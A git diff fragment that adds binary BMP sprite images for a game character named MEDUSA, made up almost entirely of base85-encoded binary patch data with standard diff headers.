z{JKa1P541Aq^LH0zaC0Z$7-9V5x=tD21%v$yM%a6&>KmP8`wEQ1~w%zZhEmU`hT7NnZIAKa4-Luy?7%Wa(snC8B)ed-7I z9O5^@XhbAMJbn87cVEr<_?M1fSUC>?;{Wn#aNk#ZKh!^zS&&Eew6^esW8(?*R6Hq0 z8|x#Ca@c~f;e#=_%@|xpR4zlpI!&v8t3ZB|R@tPWAW65zTB7Ck;d}In`?M)SrY>@X zSTa0>VCjmsB%?thF2K+4;>Ghr;CB)$8)*9fx^~}&_$}+V@A>mm&^BL*=ReFhH$ToV zF9}PGaf$GC2y$`ov0=KA=*|RNPlk86S7=;lVtP_dUG0nKt(?5a`?-%VU%zR(bLafE z%V)1#x_Ir{lPAxH2ZmUSziD!yMqf4Q&+GC(U-^5iocFVdSItm=E(9xSK+OG{O8=%h dKu*8;yy^p6X;zl>fa8C!YO7xG?b9`D{tuuX%ya+% literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp new file mode 100644 index 0000000000000000000000000000000000000000..996412433c94cd5b1b376b2480f63ecfec562816 GIT binary patch literal 18462 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 